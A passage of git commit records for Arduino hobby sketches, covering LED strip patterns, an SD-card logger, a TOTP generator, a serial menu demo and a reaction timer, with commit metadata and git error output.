strip.setPixelColor(15, 0, 0, 0);\n strip.setPixelColor(16, 0, 0, 0);\n strip.setPixelColor(17, 0, 0, 0);\n strip.setPixelColor(18, 185, 30, 0);\n strip.setPixelColor(19, 0, 0, 0);\n strip.setPixelColor(20, 0, 0, 0);\n strip.setPixelColor(21, 185, 30, 0);\n strip.setPixelColor(22, 0, 0, 0);\n strip.setPixelColor(23, 0, 0, 0);\n strip.setPixelColor(24, 0, 0, 0);\n strip.setPixelColor(25, 0, 0, 0);\n strip.setPixelColor(26, 0, 0, 0);\n strip.setPixelColor(27, 185, 30, 0);\n strip.setPixelColor(28, 185, 30, 0);\n strip.setPixelColor(29, 0, 0, 0);\n strip.setPixelColor(30, 0, 0, 0);\n strip.setPixelColor(31, 0, 0, 0);\n strip.setPixelColor(32, 0, 0, 0);\n strip.setPixelColor(33, 0, 0, 0);\n strip.setPixelColor(34, 0, 0, 0);\n strip.setPixelColor(35, 185, 30, 0);\n strip.setPixelColor(36, 185, 30, 0);\n strip.setPixelColor(37, 0, 0, 0);\n strip.setPixelColor(38, 0, 0, 0);\n strip.setPixelColor(39, 0, 0, 0);\n strip.setPixelColor(40, 0, 0, 0);\n strip.setPixelColor(41, 0, 0, 0);\n strip.setPixelColor(42, 185, 30, 0);\n strip.setPixelColor(43, 0, 0, 0);\n strip.setPixelColor(44, 0, 0, 0);\n strip.setPixelColor(45, 185, 30, 0);\n strip.setPixelColor(46, 0, 0, 0);\n strip.setPixelColor(47, 0, 0, 0);\n strip.setPixelColor(48, 0, 0, 0);\n strip.setPixelColor(49, 185, 30, 0);\n strip.setPixelColor(50, 0, 0, 0);\n strip.setPixelColor(51, 0, 0, 0);\n strip.setPixelColor(52, 0, 0, 0);\n strip.setPixelColor(53, 0, 0, 0);\n strip.setPixelColor(54, 185, 30, 0);\n strip.setPixelColor(55, 0, 0, 0);\n strip.setPixelColor(56, 0, 0, 0);\n strip.setPixelColor(57, 0, 0, 0);\n strip.setPixelColor(58, 0, 0, 0);\n strip.setPixelColor(59, 0, 0, 0);\n strip.setPixelColor(60, 0, 0, 0);\n strip.setPixelColor(61, 0, 0, 0);\n strip.setPixelColor(62, 0, 0, 0);\n strip.setPixelColor(63, 0, 0, 0);\n strip.setBrightness(30);\n strip.show();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'smart_bathroom.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0c8a4e28b8bb98a784ab6d82cbaa2bb8da450530","subject":"SD Card part for M0","message":"SD Card part for M0\n\nCode is now able to run on Arduino M0. Major changes:\n+Size of the buffers are now 4096 bytes\n+SS pin can be selected\n+Improved dataSend function\n\nRight now it saves only \"dummy\" values from buf01\n","repos":"raunc\/bat-detector,raunc\/bat-detector,raunc\/bat-detector,raunc\/bat-detector","old_file":"SDModule\/BatDetector\/BatDetector.ino","new_file":"SDModule\/BatDetector\/BatDetector.ino","new_contents":"#include <SD.h>\n#include <SPI.h>\n#define bufSize 4096\n\/\/FILE\nFile myFile;\n\/\/----------------------SPI SPEED------------------------------------\nbyte divider=3; \/\/ 48MHz \/ divider = SPI Speed. Max speed = 20 -> Min divider = 3 -> ~16 MHz\nbyte chipSelect=4; \/\/selects the SS pin on board\n\/\/----------------------SD Info--------------------------------------\n\n\/\/----------------------BUFFERs FOR ANALOG DATA----------------------\nbyte buf00[bufSize]; \/\/ buffer array 1\nbyte buf01[bufSize]; \/\/ buffer array 2\nword recByteCount = 0; \/\/ control byte to send certain buffer data\n\n\/\/---------------------TEST COMMAND----------------------------------\nbyte Test = 0b00000001;\n\/\/----------------------PROTOTYPES----------------------\nvoid dataSend(void); \/\/to send the data\nvoid SerialPrepare(void);\nvoid BDTest(byte);\nvoid testLoadBuffer(void);\nvoid SDPrepare(void);\n\nvoid setup()\n{\n \/\/----------------------USE LED AS AN ERROR INFORMER----------------------\n pinMode(13, OUTPUT);\n SerialPrepare();\n SDPrepare();\n BDTest(Test);\n \n\n\n}\n\nvoid loop()\n{\n dataSend();\n myFile.close();\n SerialUSB.println(\"Finished\");\n while(1); \/\/stop here\n}\n\nvoid SerialPrepare(void){\n SerialUSB.begin(9600);\n while (!SerialUSB) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n}\n\nvoid SDPrepare(void){\n SerialUSB.print(\"Initializing SD card...\"); \/\/Initialization message\n if (!SD.begin(chipSelect))\n { \/\/IF ERROR IS ENCOUNTERED\n digitalWrite(13, HIGH); \/\/LED GO ON\n SerialUSB.println(\"Card failed, or not present\"); \/\/UNSUCCESSFUL MESSAGE\n return;\n }\n SerialUSB.println(\"Card initialized.\");\/\/SUCCESSFUL MESSAGE\n if (SD.exists(\"example.txt\")) {\n SerialUSB.println(\"example.txt exists.\"); \/\/CHECK IF FILE EXISTS\n } \n else {\n SerialUSB.println(\"example.txt doesn't exist.\");\n }\n \/\/----------------------CREATE AND OPEN A FILE ON SD CARD----------------------\n myFile = SD.open(\"example.txt\", FILE_WRITE);\n \/\/myFile.close(); \/\/USE THIS TO CHECK IF EMPTY FILE CREATED\n}\n\nvoid dataSend(void){\n SerialUSB.println(\"Saving to SD...\");\n if (recByteCount % 2*bufSize == bufSize) { \n myFile.write(buf00,bufSize-1); \/\/ save buf01 to card\n \/\/recByteSaved+= 4095; \/\/Count how many bytes were saved\n } \n if (recByteCount % 2*bufSize == 0) { \n myFile.write(buf01,bufSize-1); \/\/ save buf02 to card\n \/\/recByteSaved+= 4095; \/\/Count how many bytes were saved\n }\n}\n\nvoid BDTest(byte Test){\n if((Test && 0b00000001)==1){\n SerialUSB.println(\"Starting to generate data\");\n testLoadBuffer();\n SerialUSB.println(\"Finished generating\");\n }\n}\n\nvoid testLoadBuffer(void){\n word i;\n for(i=0; i<bufSize-1; i++){\n buf01[i]=i;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SDModule\/BatDetector\/BatDetector.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"704318ff755090a0d979d7a0fa2bd1a6b17d32ae","subject":"Update newLineSensor.ino","message":"Update newLineSensor.ino","repos":"katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400","old_file":"code dump\/lab2\/newLineSensor.ino","new_file":"code dump\/lab2\/newLineSensor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'code' did not match any file(s) known to git\nerror: pathspec 'dump\/lab2\/newLineSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9285b324e769765b038588ca0aacab7ba68e348d","subject":"Added initial totp","message":"Added initial totp\n","repos":"paultela\/yubiduino,paultela\/yubiduino","old_file":"totp\/totp.ino","new_file":"totp\/totp.ino","new_contents":"#include <sha1.h>\n\n#define INTERVAL 30\n#define TOKEN_LENGTH 6\n\n\n#include <DS3231.h>\n\n\nDS3231 rtc(SDA, SCL);\n\nvoid printHash(uint8_t* hash, size_t len) {\n int i;\n for (i=0; i<len; i++) {\n Serial.print(\"0123456789abcdef\"[hash[i]>>4]);\n Serial.print(\"0123456789abcdef\"[hash[i]&0xf]);\n }\n Serial.println();\n}\n\n\/\/ Gets a UNIX timestamp from the RTC\nlong getTimestamp() {\n return rtc.getUnixTime(rtc.getTime());\n}\n\n\/\/ From https:\/\/code.google.com\/p\/google-authenticator\/source\/browse\/libpam\/base32.c\nint base32_decode(const uint8_t *encoded, uint8_t *result, int bufSize) {\n int buffer = 0;\n int bitsLeft = 0;\n int count = 0;\n for (const uint8_t *ptr = encoded; count < bufSize && *ptr; ++ptr) {\n uint8_t ch = *ptr;\n if (ch == ' ' || ch == '\\t' || ch == '\\r' || ch == '\\n' || ch == '-') {\n continue;\n }\n buffer <<= 5;\n\n \/\/ Deal with commonly mistyped characters\n if (ch == '0') {\n ch = 'O';\n } else if (ch == '1') {\n ch = 'L';\n } else if (ch == '8') {\n ch = 'B';\n }\n\n \/\/ Look up one base32 digit\n if ((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z')) {\n ch = (ch & 0x1F) - 1;\n } else if (ch >= '2' && ch <= '7') {\n ch -= '2' - 26;\n } else {\n return -1;\n }\n\n buffer |= ch;\n bitsLeft += 5;\n if (bitsLeft >= 8) {\n result[count++] = buffer >> (bitsLeft - 8);\n bitsLeft -= 8;\n }\n }\n if (count < bufSize) {\n result[count] = '\\000';\n }\n return count;\n}\n\nvoid totp(const uint8_t* key, const size_t len, const long time, char token[TOKEN_LENGTH]) {\n Serial.println(\"Starting totp\");\n long tc = time \/ INTERVAL;\n Sha1.initHmac(key, len);\n Serial.println(\"inited Hmac\");\n Sha1.write((uint8_t) (tc >> 24));\n Sha1.write((uint8_t) (tc >> 16));\n Sha1.write((uint8_t) (tc >> 8));\n Sha1.write((uint8_t) tc);\n \n\n\n \n Serial.println(\"wrote\");\n uint8_t *hash = Sha1.resultHmac();\n \n Serial.println(\"hashed\");\n \n uint8_t offset = hash[19] & 0xf;\n \n unsigned long thing = ((hash[offset] & 0x7f) << 24)\n | ((hash[offset + 1] & 0xff) << 16)\n | ((hash[offset + 2] & 0xff) << 8)\n | ((hash[offset + 3] & 0xff));\n Serial.println(\"thinged\");\n Serial.println(thing);\n \n for (int i = TOKEN_LENGTH - 1; i >= 0; i--) {\n token[i] = (thing % 10) + '0';\n thing \/= 10;\n }\n \n Serial.println(\"\\ndone\");\n} \n\nvoid setup() {\n \/\/ put your setup code here, to run once\n Serial.begin(115200);\n rtc.begin();\n \n uint8_t keyBase32[32];\n String(\"salvdaxi3ipetshmxf54muq7q4k3cnrj\").toCharArray((char *)keyBase32, 32);\n \n uint8_t key[20];\n base32_decode(keyBase32, key, 20);\n \n uint8_t correctKey[20] = { 0x90, 0x17, 0x51, 0x82, 0xe8, 0xda, 0x1e, 0x49, 0xc8, 0xec, 0xb9, 0x7b, 0xc6, 0x52, 0x1f, 0x87, 0x15, 0xb1, 0x36, 0x29 };\n \n printHash(correctKey, 20);\n \n \n char token[TOKEN_LENGTH];\n \n Serial.println(\"Trying to do work\");\n \n totp(key, 20, getTimestamp(), token);\n \n Serial.println(token);\n Serial.println(\"All done with work.\");\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'totp\/totp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"81343dcd54fdc8b6a1c9a5ca040fae9e1f3d867a","subject":"Make AES CCM debug command more verbose","message":"Make AES CCM debug command more verbose\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/debug.ino","new_file":"teensy-hsm\/debug.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"216f9811a6f97d1eb1f6de1e0a09b74603002b64","subject":"Added an example to navigate the menu over serial","message":"Added an example to navigate the menu over serial\n","repos":"jonblack\/arduino-menusystem","old_file":"examples\/SerialNav\/SerialNav.ino","new_file":"examples\/SerialNav\/SerialNav.ino","new_contents":"\/*\n SerialNav.ino - Example code using the menu system library\n that use serial to display the menu.\n \n Created by Niesteszeck, Dec 1th 2013.\n Released into the public domain.\n \n License: GPL 3\n *\/\n\n#include <MenuSystem.h>\n\n\/\/ Menu variables\nMenuSystem ms;\nMenu mm(\"ROOT Menu Title\");\nMenuItem mm_mi1(\"Level 1 - Item 1 (Item)\");\nMenuItem mm_mi2(\"Level 1 - Item 2 (Item)\");\nMenu mu1(\"Level 1 - Item 3 (Menu)\");\nMenuItem mu1_mi1(\"Level 2 - Item 1 (Item)\");\n\n\n\/\/ Menu callback function\n\/\/ In this example all menu items use the same callback.\n\nvoid on_item1_selected(MenuItem* p_menu_item)\n{\n Serial.println(\"Item1 Selected\");\n}\n\nvoid on_item2_selected(MenuItem* p_menu_item)\n{\n Serial.println(\"Item2 Selected\");\n}\n\nvoid on_item3_selected(MenuItem* p_menu_item)\n{\n Serial.println(\"Item3 Selected\");\n}\n\n\/\/ Standard arduino functions\n\nvoid setup()\n{\n Serial.begin(9600);\n serialPrintHelp();\n Serial.println(\"Setting up the menu.\");\n \/\/ Menu setup\n \/*\n Menu Structure:\n -Item1\n -Item2\n -Item3\n -Item1\n \n *\/\n mm.add_item(&mm_mi1, &on_item1_selected);\n mm.add_item(&mm_mi2, &on_item2_selected);\n mm.add_menu(&mu1);\n mu1.add_item(&mu1_mi1, &on_item3_selected);\n ms.set_root_menu(&mm);\n Serial.println(\"Menu setted.\");\n displayMenu();\n}\n\nvoid loop()\n{\n \/\/ Handle serial commands\n serialHandler();\n\n \/\/ Wait for two seconds so the output is viewable\n \/\/delay(2000);\n}\n\nvoid displayMenu() {\n Serial.println(\"\");\n \/\/ Display the menu\n Menu const* cp_menu = ms.get_current_menu();\n\n Serial.print(\"Current menu name: \");\n Serial.println(cp_menu->get_name());\n\n MenuComponent const* cp_menu_sel = cp_menu->get_selected();\n for (int i = 0; i < cp_menu->get_num_menu_components(); ++i)\n {\n MenuComponent const* cp_m_comp = cp_menu->get_menu_component(i);\n Serial.print(cp_m_comp->get_name());\n\n if (cp_menu_sel == cp_m_comp)\n Serial.print(\"<<< \");\n\n Serial.println(\"\");\n }\n}\n\nvoid serialHandler() {\n char inChar;\n if((inChar = Serial.read())>0) {\n switch (inChar) {\n case 'w': \/\/ Previus item\n ms.prev();\n displayMenu();\n break;\n case 's': \/\/ Next item\n ms.next();\n displayMenu();\n break;\n case 'a': \/\/ Back presed\n ms.back();\n displayMenu();\n break;\n case 'd': \/\/ Select presed\n ms.select();\n displayMenu();\n break;\n case '?':\n case 'h': \/\/ Display help\n serialPrintHelp();\n break;\n default:\n break;\n }\n }\n}\n\nvoid serialPrintHelp() {\n Serial.println(\"***************\");\n Serial.println(\"w: go to previus itme (up)\");\n Serial.println(\"s: got to next item (down)\");\n Serial.println(\"a: go back (right)\");\n Serial.println(\"d: select \\\"selected\\\" item\");\n Serial.println(\"?: print this help\");\n Serial.println(\"h: print this help\");\n Serial.println(\"***************\");\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SerialNav\/SerialNav.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c62ef0531d1f59f2310db4acaff064b297e97c20","subject":"add Cascade Color demo","message":"add Cascade Color demo\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/4.RainbowTape\/6_CascadeColor\/CascadingColors.ino","new_file":"examples-ltc\/4.RainbowTape\/6_CascadeColor\/CascadingColors.ino","new_contents":"\/\/ Love to Code\n\n\/\/ Cascading colors\n\n\/\/ This example is particularly useful when mapping a few colors\n\/\/ onto a long strip of rainbow tape or other Neopixel-style (WS2812B) LEDs. \n\/\/\n\/\/ Color values, specified in pixel_color, are interpolated onto\n\/\/ a number of pixels that should be larger than the number of\n\/\/ color values.\n\/\/\n\/\/ The system then animates a cascade effect which lights up the\n\/\/ colors one at a time down the strip, using a cross-fade effect.\n\n#include \"html_colors.h\" \n\/\/ see https:\/\/github.com\/chibitronics\/ltc-compiler-layer\/blob\/master\/support\/html_colors.h\n\n#define PIXELCOUNT 5 \/\/ number of pixels total (including the one on the Chibi Chip)\n#define RATE 100 \/\/ a number from 1-10,000. 100 is a reasonably calm setting.\n\n#define COLORCOUNT 3\nunsigned int pixel_color[COLORCOUNT] = {\n COLOR_RED, \n COLOR_GREEN,\n COLOR_BLUE, \n\/\/ COLOR_YELLOW, \/\/ increase COLORCOUNT and add colors here!\n};\n\n#include \"Adafruit_NeoPixel.h\"\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXELCOUNT, LED_BUILTIN_RGB, NEO_GRB + NEO_KHZ800);\n\ntypedef struct RgbColor {\n uint8_t r;\n uint8_t g;\n uint8_t b;\n} RgbColor;\n\ntypedef struct HsvColor {\n int h;\n int s;\n int v;\n} HsvColor;\n\nHsvColor hsv_master[COLORCOUNT];\n\n\/\/ from https:\/\/gist.github.com\/mity\/6034000\n#define HUE_DEGREE 512 \/\/ hue is 0 ... (360*HUE_DEGREE - 1)\n#define MIN(a,b) ((a) < (b) ? (a) : (b))\n#define MAX(a,b) ((a) > (b) ? (a) : (b))\n\n#define MIN3(a,b,c) MIN((a), MIN((b), (c)))\n#define MAX3(a,b,c) MAX((a), MAX((b), (c)))\n\nvoid rgb2hsv(uint8_t r, uint8_t g, uint8_t b, HsvColor* hsv) {\n int m = MIN3(r, g, b);\n int M = MAX3(r, g, b);\n int delta = M - m;\n\n if(delta == 0) {\n \/* Achromatic case (i.e. grayscale) *\/\n hsv->h = -1; \/* undefined *\/\n hsv->s = 0;\n } else {\n int h;\n\n if(r == M)\n h = ((g-b)*60*HUE_DEGREE) \/ delta;\n else if(g == M)\n h = ((b-r)*60*HUE_DEGREE) \/ delta + 120*HUE_DEGREE;\n else \/*if(b == M)*\/\n h = ((r-g)*60*HUE_DEGREE) \/ delta + 240*HUE_DEGREE;\n\n if(h < 0)\n h += 360*HUE_DEGREE;\n\n hsv->h = h;\n\n \/* The constatnt 8 is tuned to statistically cause as little\n * tolerated mismatches as possible in RGB -> HSV -> RGB conversion.\n * (See the unit test at the bottom of this file.)\n *\/\n hsv->s = (256*delta-8) \/ M;\n }\n hsv->v = M;\n}\n\nvoid hsv2rgb(int h, int s, int v, RgbColor *c) {\n uint8_t r, g, b;\n\n if(s == 0) {\n r = g = b = v;\n } else {\n int i = h \/ (60*HUE_DEGREE);\n int p = (256*v - s*v) \/ 256;\n\n if(i & 1) {\n int q = (256*60*HUE_DEGREE*v - h*s*v + 60*HUE_DEGREE*s*v*i) \/ (256*60*HUE_DEGREE);\n switch(i) {\n case 1: r = q; g = v; b = p; break;\n case 3: r = p; g = q; b = v; break;\n case 5: r = v; g = p; b = q; break;\n }\n } else {\n int t = (256*60*HUE_DEGREE*v + h*s*v - 60*HUE_DEGREE*s*v*(i+1)) \/ (256*60*HUE_DEGREE);\n switch(i) {\n case 0: r = v; g = t; b = p; break;\n case 2: r = p; g = v; b = t; break;\n case 4: r = t; g = p; b = v; break;\n }\n }\n }\n\n c->r = r;\n c->g = g;\n c->b = b;\n}\n\nuint32_t rgb_to_hexcolor(RgbColor rgbcolor) {\n return rgbcolor.r << 16 | rgbcolor.g << 8 | rgbcolor.b;\n}\n\n\/\/ alpha is 0-100\nvoid interpolate( HsvColor a, HsvColor b, int alpha, HsvColor *c ) {\n c->h = (a.h * alpha + b.h * (100 - alpha)) \/ 100;\n c->s = (a.s * alpha + b.s * (100 - alpha)) \/ 100;\n c->v = (a.v * alpha + b.v * (100 - alpha)) \/ 100;\n}\n\nuint8_t alpha8(uint8_t a, uint8_t alpha) {\n uint32_t q;\n\n if( alpha > 100 )\n alpha = 100;\n \n q = (uint32_t) a * (uint32_t) alpha;\n\n return (uint8_t) ((q \/ 100) & 0xFF);\n}\n\nRgbColor alpha_rgb(RgbColor a, uint8_t alpha) {\n RgbColor result;\n\n result.r = alpha8(a.r, alpha);\n result.g = alpha8(a.g, alpha);\n result.b = alpha8(a.b, alpha);\n\n return result;\n}\n\n\/\/ map values onto a uniform 16-bit axis, and then re-interpolate\n\/\/ to the sub-axes of pixel and color count...\n#define MAX_AXIS 65535\n#define PIXEL_SPACING (MAX_AXIS \/ PIXELCOUNT)\n#define COLOR_SPACING (MAX_AXIS \/ (COLORCOUNT - 1))\n\n\/\/ This computes the brightness cascade.\n\/\/ x is a number from 0-MAX_AXIS (65535) which indicates where we\n\/\/ are in the global cascade.\n\/\/ p is the pixel number we want to compute the local cascade value for\n\/\/ returns a number from 0-100 which is the brightness mask versus pixel number\nunsigned int compute_interpolation( int x, int p ) {\n int retval = 0;\n \n if( x < p * PIXEL_SPACING ) {\n retval = x - (p - 1) * PIXEL_SPACING;\n retval = (retval * 100) \/ PIXEL_SPACING;\n if( retval < 0 )\n retval = 0;\n } else {\n retval = (p + 1) * PIXEL_SPACING - x;\n retval = (retval * 100) \/ PIXEL_SPACING;\n if( retval < 0 )\n retval = 0;\n }\n\n return (unsigned int) retval;\n}\n\n\/\/ This computes the color of a given pixel\n\/\/ The color is static: it won't change for a given pixel, but\n\/\/ the actual color of a pixel must be interpolated from the set\n\/\/ of colors specified by the user, as there may be many more pixels\n\/\/ than there are colors\nHsvColor compute_color( int p ) {\n HsvColor c;\n HsvColor b;\n \n \/\/ figure out which two colors we are in between for a given pixel\n int lower_color = (p * (MAX_AXIS \/ (PIXELCOUNT - 1))) \/ COLOR_SPACING;\n HsvColor a = hsv_master[lower_color];\n if( lower_color < (COLORCOUNT-1) )\n b = hsv_master[lower_color + 1];\n else\n b = hsv_master[lower_color];\n\n \/\/int alpha = ((x - (lower_color * COLOR_SPACING)) * 100) \/ COLOR_SPACING;\n int x_a = lower_color * COLOR_SPACING;\n int x_b = (lower_color + 1) * COLOR_SPACING;\n int x_p = p * (MAX_AXIS \/ (PIXELCOUNT - 1));\n \n int alpha = 100 - (x_p - x_a) * 100 \/ (x_b - x_a);\n \n interpolate(a, b, alpha, &c);\n\n return c;\n}\n\nvoid setup() {\n int i;\n\n \/\/ copy RGB colors into HSV space\n for( i = 0; i < COLORCOUNT; i++ ) {\n rgb2hsv( (pixel_color[i] >> 16) & 0xff, (pixel_color[i] >> 8) & 0xff,\n\t pixel_color[i] & 0xff, &hsv_master[i] );\n }\n\n strip.begin();\n strip.show();\n}\n\nint x = -PIXEL_SPACING; \/\/ state variable that goes from 0 - MAX_AXIS\n\nvoid loop() {\n int j;\n int alpha;\n HsvColor color_point_hsv;\n RgbColor color_point_rgb;\n RgbColor render_color;\n\n for( j = 0; j < PIXELCOUNT; j++ ) {\n \/\/ figure out the base color of the pixel\n color_point_hsv = compute_color( j );\n hsv2rgb( color_point_hsv.h, color_point_hsv.s, color_point_hsv.v, &color_point_rgb );\n \/\/ now figure out the brightness mask given our state variable\n alpha = compute_interpolation( x, j );\n render_color = alpha_rgb( color_point_rgb, alpha );\n \/\/ set the color\n strip.setPixelColor(j, rgb_to_hexcolor(render_color));\n }\n x = (x + RATE);\n if( x > MAX_AXIS )\n x = -PIXEL_SPACING;\n\n strip.show();\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/4.RainbowTape\/6_CascadeColor\/CascadingColors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4e87dee664253400231152982ad82930a6ad01c4","subject":"Added files via upload","message":"Added files via upload","repos":"beinnlora\/reactiontimer,beinnlora\/reactiontimer","old_file":"ReactionTimer01.ino","new_file":"ReactionTimer01.ino","new_contents":"\/\/ Clay pigeon release reaction timer game\n\/\/ simulates a manual clay pigeon trap release button,\n\/\/ displays reaction time and statistics on the previous 10 button presses\n\/\/\/\/\n\/\/\/ Uses Adafruit OLED 1.3\" 128x64 SPI display and simple momentary push button\n\/\/ and a generic Arduino Nano v3 ATMega328@16Mhz\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ To create your own audio sample for 'pull', record your sample in e.g. Audacity at 8Khz mono\n\/\/ in Audacity, to go Analyse->Sample Data Export-->\n\/\/ limit output to [insert length of your recording - aroun 3-5000 samples]\n\/\/ measurement scale - linear\n\/\/data (csv)\n\/\/no header\n\/\/L channel first\n\/\/chose filename as required\n\/\/ then open the CSV in e.g. Excel\n\/\/ you need to transpose the values to integers between 0 and 255\n\/\/ save from excel as CSV, then open in a text editor e.g. notepad++, and do a search and replace \\r\\n for ','\n\/\/ this will give you a comma separated list of samples, integer values between 0 and 255 to copy into PROGMEM below\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/ PINS \/\/\/\n\/\/ n.b. some pins unavailable for other uses as they are used for interrupt-driven async audio output by ATMega328\n\/\/ SPI Data D8\n\/\/ SPI Clock D9\n\/\/ SPI DC D10\n\/\/ SPI CS D12\n\/\/ SPI REST D13\n\/\/\n\/\/ BUTTON D2 and ground\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ uses Asynchronous PWM audio playback\n\/\/ http:\/\/highlowtech.org\/?p=1963\n\/\/ and Adafruit SSD1306 \/ GFX libraries\n\/\/ https:\/\/github.com\/adafruit\/Adafruit_SSD1306\n\/\/ respective licenses respected\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ libs for OLED\n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n\/\/ libs for async audio\n#include <PCM.h>\n\n\/\/ audio clip\nconst unsigned char sample[] PROGMEM = {\n 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 95, 95, 95, 95, 95, 95, 96, 96, 96, 95, 95, 95, 95, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 97, 96, 95, 96, 97, 96, 96, 97, 96, 95, 95, 96, 96, 96, 96, 96, 96, 95, 95, 95, 96, 96, 95, 95, 94, 95, 95, 95, 95, 94, 95, 95, 95, 95, 94, 95, 95, 95, 95, 96, 95, 95, 95, 94, 94, 94, 94, 95, 94, 94, 94, 93, 93, 93, 93, 94, 94, 93, 93, 93, 93, 93, 93, 93, 93, 92, 92, 93, 93, 92, 92, 93, 93, 93, 92, 93, 93, 93, 93, 93, 93, 92, 95, 88, 77, 83, 82, 82, 72, 60, 72, 73, 72, 74, 72, 80, 82, 82, 91, 91, 91, 94, 92, 93, 91, 88, 84, 84, 79, 74, 75, 74, 75, 74, 74, 75, 74, 76, 78, 80, 80, 81, 84, 84, 85, 89, 91, 89, 89, 92, 93, 91, 91, 93, 95, 95, 91, 91, 93, 94, 95, 91, 87, 87, 89, 89, 90, 91, 89, 88, 91, 96, 98, 97, 93, 97, 100, 100, 101, 96, 94, 97, 95, 94, 95, 94, 92, 93, 92, 92, 97, 96, 93, 95, 98, 99, 99, 98, 98, 99, 98, 97, 100, 101, 99, 98, 98, 98, 95, 96, 96, 95, 96, 95, 98, 101, 100, 99, 99, 102, 103, 105, 105, 105, 107, 109, 108, 108, 104, 102, 103, 101, 100, 103, 103, 101, 100, 98, 97, 98, 97, 97, 96, 95, 94, 95, 94, 91, 88, 85, 85, 85, 84, 81, 80, 79, 77, 78, 79, 79, 80, 81, 83, 86, 88, 87, 88, 90, 92, 92, 94, 97, 99, 102, 104, 104, 104, 106, 109, 113, 113, 115, 118, 121, 123, 124, 121, 119, 117, 113, 107, 105, 94, 85, 78, 73, 72, 68, 65, 66, 66, 63, 63, 65, 66, 71, 77, 80, 83, 86, 85, 86, 88, 88, 90, 96, 100, 107, 116, 118, 118, 118, 120, 127, 132, 136, 135, 138, 132, 127, 123, 113, 109, 103, 96, 92, 87, 83, 80, 80, 81, 83, 81, 77, 72, 69, 72, 79, 81, 82, 80, 79, 79, 77, 76, 77, 84, 93, 103, 111, 115, 119, 124, 127, 130, 130, 135, 142, 147, 154, 155, 150, 142, 129, 113, 105, 99, 93, 87, 79, 73, 71, 72, 72, 76, 78, 81, 83, 75, 71, 65, 66, 76, 79, 77, 73, 64, 63, 66, 71, 80, 93, 104, 117, 128, 133, 135, 138, 142, 144, 145, 153, 151, 156, 158, 134, 116, 98, 88, 90, 88, 81, 79, 75, 68, 75, 81, 85, 93, 99, 91, 83, 71, 61, 57, 58, 57, 57, 62, 62, 64, 72, 76, 81, 95, 107, 121, 138, 145, 143, 146, 141, 138, 143, 143, 144, 132, 107, 91, 78, 78, 79, 77, 79, 73, 70, 71, 80, 88, 101, 107, 108, 102, 86, 64, 51, 50, 50, 54, 62, 63, 62, 74, 80, 87, 105, 120, 136, 158, 161, 155, 155, 146, 151, 151, 152, 141, 101, 89, 70, 66, 81, 72, 75, 75, 68, 66, 81, 87, 95, 116, 110, 110, 106, 80, 60, 53, 47, 48, 55, 64, 62, 75, 82, 87, 99, 114, 133, 158, 176, 171, 162, 153, 146, 145, 158, 149, 113, 97, 72, 60, 79, 65, 71, 78, 66, 67, 83, 87, 91, 117, 108, 103, 105, 77, 50, 56, 50, 50, 60, 60, 54, 70, 82, 87, 108, 121, 137, 162, 178, 171, 174, 164, 149, 147, 157, 110, 88, 85, 49, 79, 76, 62, 69, 60, 53, 67, 90, 89, 112, 117, 97, 102, 97, 60, 55, 46, 35, 48, 59, 57, 64, 82, 78, 97, 109, 117, 143, 165, 169, 170, 169, 152, 147, 162, 144, 97, 103, 64, 61, 84, 64, 70, 70, 54, 52, 77, 80, 95, 121, 105, 95, 107, 70, 45, 52, 34, 45, 63, 56, 53, 75, 74, 88, 117, 117, 140, 167, 165, 164, 174, 150, 142, 162, 136, 88, 104, 61, 61, 94, 65, 78, 73, 56, 53, 79, 80, 95, 124, 109, 98, 108, 